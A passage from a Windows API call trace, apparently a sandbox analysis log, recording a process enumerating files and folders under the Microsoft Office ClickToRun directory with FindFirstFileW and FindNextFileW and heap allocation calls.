ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.Platform.x-none.man.xml", cAlternateFileName="STREAM~1.XML")) returned 1 [0270.778] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x316a100, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.hash", cAlternateFileName="STREAM~1.HAS")) returned 1 [0270.779] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.779] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.779] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0270.780] GetProcessHeap () returned 0xc10000 [0270.780] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0270.780] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a025ed3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a025ed3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0270.780] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0270.780] GetProcessHeap () returned 0xc10000 [0270.780] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.780] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0270.780] GetProcessHeap () returned 0xc10000 [0270.780] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.780] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0270.782] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.782] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0270.783] GetProcessHeap () returned 0xc10000 [0270.783] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0270.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0270.787] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110186f1, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.787] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.787] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x8f27c900, ftLastWriteTime.dwHighDateTime=0x1d32053, nFileSizeHigh=0x0, nFileSizeLow=0x108693, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.787] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0270.788] GetProcessHeap () returned 0xc10000 [0270.788] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0270.788] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0270.788] GetProcessHeap () returned 0xc10000 [0270.788] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0270.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0270.791] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.791] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0271.113] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0271.114] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0271.115] GetProcessHeap () returned 0xc10000 [0271.115] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0271.115] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0271.115] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0271.115] GetProcessHeap () returned 0xc10000 [0271.115] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.115] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0271.115] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0271.115] GetProcessHeap () returned 0xc10000 [0271.115] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.117] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0271.117] GetProcessHeap () returned 0xc10000 [0271.117] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0271.118] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.118] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.118] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0271.118] GetProcessHeap () returned 0xc10000 [0271.118] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.118] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0271.119] GetProcessHeap () returned 0xc10000 [0271.119] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0271.123] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C21578~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c4f9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5c4f9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C233DB~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed59ed2c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed59ed2c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C25956~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed578aca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed578aca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1 [0271.125] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5063b1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5063b1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3d50b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3d50b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, 